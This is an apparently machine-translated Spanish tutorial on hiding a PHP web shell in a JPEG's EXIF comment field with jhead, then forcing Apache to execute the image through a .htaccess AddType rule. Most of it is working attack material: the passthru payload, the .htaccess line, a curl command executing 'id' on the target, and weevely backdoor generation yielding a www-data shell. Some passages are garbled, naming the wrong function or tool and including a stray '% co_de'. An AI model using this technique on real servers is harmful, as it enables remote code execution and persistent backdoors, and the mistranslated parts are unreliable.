Para manipular los campos de metadatos EXIF JPEG, usaré la herramienta de línea de comando jhead
. Existen muchas otras herramientas con funciones similares para elegir según sus necesidades.
Ahora que tenemos nuestra herramienta de manipulación de metadatos, podemos recoger una imagen jpeg aleatoria y leer los metadatos.
root@testbed:~# jhead image.jpg
File name : image.jpg
File size : 208103 bytes
File date : 2011:09:07 21:20:10
Date/Time : 2007:04:24 14:11:55
Resolution : 1197 x 478
======= IPTC data: =======
Record vers. : 2
El archivo está bastante limpio, por lo tanto, hagámoslo un poco más sucio ocultando algo de código PHP en el campo de comentarios de metadatos. Para editar el campo de comentarios, usaré el indicador -ce
de la herramienta jhead
.
root@testbed:~# jhead -ce image.jpg
Modified: image.jpg
root@testbed:~# jhead image.jpg
File name : image.jpg
File size : 182007 bytes
File date : 2011:09:07 21:20:10
Resolution : 1197 x 478
Comment : <?php passthru($_POST['cmd']); __halt_compiler();
Usando la función passthru
podemos ejecutar un comando externo a la máquina de destino. El comando se pasa al destino utilizando el método POST bajo el nombre "cmd". Aquí, alguien podría pensar que también podemos usar el método GET para pasar el comando a la máquina de destino. Eso es cierto, también podemos usarlo, aunque los comandos que enviamos al destino se notan fácilmente en el registro de acceso de httpd porque son parte de la URL.
El comando halt_compiler
impedirá que el compilador analice los datos binarios de las imágenes. La información de metadatos se almacena antes de los datos de las imágenes, por lo que debemos detener el compilador después de nuestro código, porque si se produce un <?
en los siguientes datos binarios, la ejecución se interrumpirá. Es por eso que no necesitamos cerrar la sección de PHP.
Ahora que hemos escondido nuestro código PHP en el archivo de imagen, debemos forzar al servidor web de destino a manejar el archivo .jpg como un archivo PHP. Para lograr esto, usaremos la directiva AddType
en un archivo .htaccess
. La directiva AddType
asigna una extensión de nombre de archivo dada a un tipo de contenido específico. Para utilizar la directiva AddType
, el Apache de destino debe tener mod_mime
habilitado y permitir al menos un FileInfo
en el directorio donde colocaremos el archivo.
Subiremos el archivo jpg malintencionado a la ruta de los medios, por lo que necesitamos poner un .htaccess
en el directorio correspondiente con los archivos .jpg de asignación de directivas% co_de en .php.
root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess
Bien, todo está configurado, así que iniciemos nuestro primer intento de ejecutar un comando en la máquina de destino. Para enviar el comando usando el método POST, usaré la herramienta AddType
.
root@testbed:~# curl -d cmd=id http://192.168.2.11/media/image.jpg
.........JFIF..........................................................uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bingo! el comando se ha ejecutado con éxito en la máquina de destino. La basura al inicio de la salida es causada por los datos del encabezado de la imagen.
Algo que debe mencionarse aquí, es que algunas configuraciones de PHP pueden tener curl
incluido en sus funciones deshabilitadas. En ese caso, puede elegir una función similar como passthru
, system
, exec
, etc.
Ahora que hemos confirmado que nuestra técnica está funcionando, podemos ocultar un shell de puerta trasera PHP completo en el campo de comentarios de la misma imagen. Para ello, elegiré el shell PHP más pequeño, pero puede elegir un shell alternativo que tenga en su arsenal pentest.
Inicialmente, creamos el shell con el script weevely y luego copiamos el código PHP generado en el campo de comentarios de metadatos.
root@testbed:weevely# ./weevely.py -g -o back.php -p admin
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Backdoor file 'back.php' created with password 'admin'.
Finalmente, para establecer un terminal con el servidor de destino, llamamos a weevely con el indicador de terminal que proporciona la URL de la imagen y la contraseña que usamos en el paso de creación.
root@testbed:weevely# ./weevely.py -t -p admin -u http://192.168.2.11/media/image.jpg
Weevely 0.3 – Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Using method ‘system()’.
+ Retrieving terminal basic environment variables .
[www-data@webtestbed /var/www/media] ls
image.jpg
[www-data@webtestbed /var/www/media] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[www-data@webtestbed /var/www/media]
¡Pwned! Tenemos privilegios de usuario Apache (www-data) para acceder a la máquina de destino.